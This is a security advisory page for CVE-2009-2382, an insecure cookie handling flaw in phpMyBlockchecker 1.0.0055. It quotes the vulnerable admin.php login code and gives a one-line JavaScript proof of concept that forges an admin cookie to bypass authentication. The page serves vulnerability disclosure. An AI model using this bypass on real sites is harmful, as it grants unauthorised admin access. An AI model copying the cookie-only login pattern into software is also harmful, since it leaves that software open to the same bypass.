phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability

2009.07.11

Credit: SirGod

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-2382

CWE: CWE-287

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

################################################################################################################
[+] phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#################################################################################################################

[+] Download Script :
http://sourceforge.net/project/showfiles.php?group_id=116966&package_id=152150&release_id=326884

[+] Insecure Cookie Handling

 - Vulnerable code in admin.php

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 - PoC

    javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";
document.cookie = "1246371700; path=/";


#################################################################################################################

References:

http://xforce.iss.net/xforce/xfdb/51445

http://www.milw0rm.com/exploits/9053

http://secunia.com/advisories/35660

http://osvdb.org/55505

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.